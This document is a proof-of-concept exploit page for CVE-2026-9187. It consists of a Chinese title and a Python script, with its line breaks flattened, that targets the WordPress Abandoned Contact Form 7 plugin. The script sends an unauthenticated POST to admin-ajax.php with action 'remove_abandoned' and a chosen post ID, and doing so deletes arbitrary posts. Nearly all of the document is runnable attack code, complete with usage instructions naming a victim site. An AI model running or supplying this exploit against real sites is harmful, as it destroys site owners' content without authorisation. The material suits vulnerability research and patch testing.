CVE-2026-9187 WordPress Abandoned Contact Form 7插件未授权任意文章删除漏洞

#!/usr/bin/env python3 """ CVE-2026-9187 PoC - WordPress Abandoned Contact Form 7 Unauthenticated Arbitrary Post Deletion Reference: https://www.wordfence.com/threat-intel/vulnerabilities/id/a38ebdeb-6ab8-4f1d-9c13-39211a9e97b6 """ import requests import sys def exploit_cve_2026_9187(target_url, post_id_to_delete): """ Exploit the unauthenticated arbitrary post deletion vulnerability. Args: target_url: Base URL of the WordPress site (e.g., 'https://example.com') post_id_to_delete: The ID of the post/page to delete Returns: bool: True if exploitation appears successful, False otherwise """ # WordPress AJAX endpoint ajax_url = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php" # Payload with arbitrary post ID data = { 'action': 'remove_abandoned', 'recover_id': str(post_id_to_delete) } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: print(f"[*] Target: {target_url}") print(f"[*] Attempting to delete post ID: {post_id_to_delete}") print(f"[*] Sending request to: {ajax_url}") response = requests.post(ajax_url, data=data, headers=headers, timeout=30) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body: {response.text[:500]}") # Check if deletion was successful (response may vary) if response.status_code == 200: print("[+] Exploitation attempt completed") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python3 cve-2026-9187-poc.py <target_url> <post_id>") print("Example: python3 cve-2026-9187-poc.py https://victim.com 1") sys.exit(1) target = sys.argv[1] post_id = int(sys.argv[2]) exploit_cve_2026_9187(target, post_id)